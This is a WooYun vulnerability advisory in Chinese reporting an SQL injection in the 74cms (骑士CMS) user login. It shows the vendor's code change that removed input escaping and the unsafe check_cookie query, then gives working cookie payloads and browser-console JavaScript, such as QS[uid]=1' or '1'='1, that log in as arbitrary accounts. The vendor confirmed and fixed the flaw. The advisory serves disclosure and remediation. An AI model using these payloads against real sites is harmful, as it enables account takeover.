当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2015-131315

漏洞标题: 骑士CMS最新版任意用户登陆

相关厂商: 74cms.com

漏洞作者: 路人甲

提交时间: 2015-08-03 16:19

修复时间: 2015-11-02 09:38

公开时间: 2015-11-02 09:38

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误 sql注射漏洞利用技巧

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-03: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-09-28: 细节向核心白帽子及相关领域专家公开
2015-10-08: 细节向普通白帽子公开
2015-10-18: 细节向实习白帽子公开
2015-11-02: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

骑士CMS最新版任意用户登陆(官网demo测试)。

详细说明:

骑士CMS最新版去掉了全局addslash



code 区域
include/common.inc.php



code 区域
@@ -17,20 +17,10 @@ session_save_path(QISHI_ROOT_PATH.'data/sessions/');
session_start();\r
require_once(QISHI_ROOT_PATH.'data/config.php');\r
header("Content-Type:text/html;charset=".QISHI_CHARSET);\r
+require_once(QISHI_ROOT_PATH.'include/help.class.php');\r
require_once(QISHI_ROOT_PATH.'include/common.fun.php');\r
require_once(QISHI_ROOT_PATH.'include/74cms_version.php');\r
$QSstarttime=exectime();\r
-\r
-if (!empty($_GET))\r
-{\r
-$_GET = addslashes_deep($_GET);\r
-}\r
-if (!empty($_POST))\r
-{\r
-$_POST = addslashes_deep($_POST);\r
-}\r
-$_COOKIE = addslashes_deep($_COOKIE);\r
-$_REQUEST = addslashes_deep($_REQUEST);\r
date_default_timezone_set("PRC");\r
$timestamp = time();\r
$online_ip=getip();\r







导致在旧版PHP GPC off或和PHP5.x上参数直接带入SQL语句,虽然include/help.class.php添加了新的过滤函数,但是对正常拼接出来的SQL语句无效。这样在GET,POST, COOKIE中均可带入',导致各种越权。



本例以任意帐号登陆来演示。

user/user_favorites_job.php会调用check_cookie()来检查COOKIE登陆,

code 区域
12  define('IN_QISHI', true);
13 require_once(dirname(__FILE__).'/../include/common.inc.php');
14 $act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : 'add';
15 require_once (QISHI_ROOT_PATH.'include/mysql.class.php');
16 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
17 if((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
18 {
19 require_once (QISHI_ROOT_PATH.'include/fun_user.php');
20 if(check_cookie($_COOKIE['QS']['uid'],$_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
21 {
22 update_user_info($_COOKIE['QS']['uid'],false,false);
23 header("Location:".get_member_url($_SESSION['utype']));
24 }
25 else
26 {
...snip...
32 }
33 }





code 区域
223  function check_cookie($uid,$name,$pwd){
224 global $db;
225 $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE uid='{$uid}' and username='{$name}' and password = '{$pwd}'");
226 if($row['num'] > 0)
227 {
228 return true;
229 }else{
230 return false;
231 }
232 }





check_cookie拼接SQL使用了没有过滤的COOKIE值,这样我们只要设置COOKIE为:

code 区域
QS[uid]=1' or '1'='1
QS[username]=testadmin
QS[password]=aa



访问http://**.**.**.**/user/user_favorites_job.php即可登陆uid为1的帐号。



未登陆状态访问http://**.**.**.**/,F12打开chrome的开发工具,进入控制台输入:

code 区域
document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=1' or '1'='1";



1.png



访问http://**.**.**.**/user/user_favorites_job.php即可看到登陆成功。

2.png





退出,然后使用uid=2登陆:

code 区域
document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=2' or '1'='1";



3.png



访问http://**.**.**.**/user/user_favorites_job.php即可看到登陆成功。

4.png



漏洞证明:

2.png



4.png



修复方案:

全局的addslashes_deep改回来把,光靠check sql来检查SQL注入不太现实。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-04 09:37

厂商回复:

感谢反馈!

最新状态:

2015-08-04:已经还原全局过滤


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-11-02 09:49 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)
    0

    好细心。。。

登录后才能发表评论,请先 登录